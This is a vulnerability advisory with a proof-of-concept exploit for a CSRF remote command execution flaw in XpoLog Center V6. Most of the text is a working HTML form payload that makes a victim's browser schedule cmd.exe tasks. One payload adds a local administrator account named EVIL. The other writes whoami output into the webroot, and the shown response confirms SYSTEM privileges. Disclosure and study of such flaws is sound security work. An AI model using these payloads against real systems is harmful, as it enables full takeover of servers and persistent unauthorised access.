98 lines
No EOL
3.9 KiB
Text
98 lines
No EOL
3.9 KiB
Text
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XpoLog Center V6 CSRF Remote Command Execution
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Vendor: XpoLog LTD
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Product web page: http://www.xpolog.com
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Affected version: 6.4469
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6.4254
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6.4252
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6.4250
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6.4237
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6.4235
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5.4018
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Summary: Applications Log Analysis and Management Platform.
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Desc: XpoLog suffers from arbitrary command execution. Attackers
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can exploit this issue using the task tool feature and adding a
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command with respected arguments to given binary for execution.
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In combination with the CSRF an attacker can execute system commands
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with SYSTEM privileges.
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Tested on: Apache-Coyote/1.1
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Microsoft Windows Server 2012
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Microsoft Windows 7 Professional SP1 EN 64bit
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Java/1.7.0_45
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Java/1.8.0.91
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2016-5335
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Advisory URL: http://zeroscience.mk/en/vulnerabilities/ZSL-2016-5335.php
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14.06.2016
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--
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exePath = "C:\\windows\\system32\\cmd.exe"
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exeArgs = "/C net user EVIL pass123 /add & net localgroup Administrators EVIL /add"
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<html>
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<body>
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<form action="http://10.0.0.17:30303/logeye/tasks/xpotaskDefinitionAction.jsp?" method="POST">
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<input type="hidden" name="" value="" />
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<input type="hidden" name="csrfToken" value="NoToken" />
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<input type="hidden" name="taskId" value="1465930398522" />
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<input type="hidden" name="taskType" value="exe" />
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<input type="hidden" name="name" value="CCMMDD" />
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<input type="hidden" name="description" value="ZSL" />
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<input type="hidden" name="IsSsh" value="false" />
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<input type="hidden" name="exePath" value=""c:\\windows\\system32\\cmd.exe"" />
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<input type="hidden" name="exeArgs" value=""/C net user EVIL pass123 /add & net localgroup Administrators EVIL /add"" />
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<input type="hidden" name="exeEnvVar" value="" />
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<input type="hidden" name="exeWorkDir" value="" />
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<input type="hidden" name="exeOutputTargetFile" value="" />
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<input type="hidden" name="NameXpoTaskSched" value="taskId_1465930366962" />
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<input type="hidden" name="IdXpoTaskSched" value="taskId_1465930366962" />
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<input type="hidden" name="actionIdXpoTaskSched" value="0" />
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<input type="hidden" name="StateXpoTaskSched" value="1" />
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<input type="hidden" name="schedulerSuffix" value="XpoTaskSched" />
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<input type="hidden" name="trigTypeXpoTaskSched" value="cron" />
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<input type="hidden" name="minutesXpoTaskSched" value="0" />
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<input type="hidden" name="minutesEndXpoTaskSched" value="0" />
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<input type="hidden" name="numOfExecutionsXpoTaskSched" value="0" />
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<input type="hidden" name="frequencyXpoTaskSched" value="daily" />
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<input type="hidden" name="DayInMonthXpoTaskSched" value="all" />
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<input type="hidden" name="dailyTypeXpoTaskSched" value="repeat" />
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<input type="hidden" name="dailyRepeatValueXpoTaskSched" value="1" />
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<input type="hidden" name="dailyRepeatTypeXpoTaskSched" value="second" />
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<input type="hidden" name="hoursXpoTaskSched" value="0" />
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<input type="hidden" name="hoursEndXpoTaskSched" value="0" />
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<input type="hidden" name="hoursOnce0XpoTaskSched" value="-1" />
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<input type="hidden" name="minutesOnce0XpoTaskSched" value="-1" />
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<input type="hidden" name="secondsOnce0XpoTaskSched" value="-1" />
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<input type="hidden" name="jobPriority" value="-1" />
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<input type="hidden" name="ajaxTimestamp" value="1465930905166" />
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<input type="submit" value="Submit" />
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</form>
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</body>
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</html>
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--
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exePath = "C:\\windows\\system32\\cmd.exe"
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exeArgs = "/C whoami > c:\\Progra~1\\XpoLogCenter6\\defaultroot\\logeye\\testingus.txt"
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GET
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http://10.0.0.17:30303/logeye/testingus.txt
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Response:
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nt authority\system |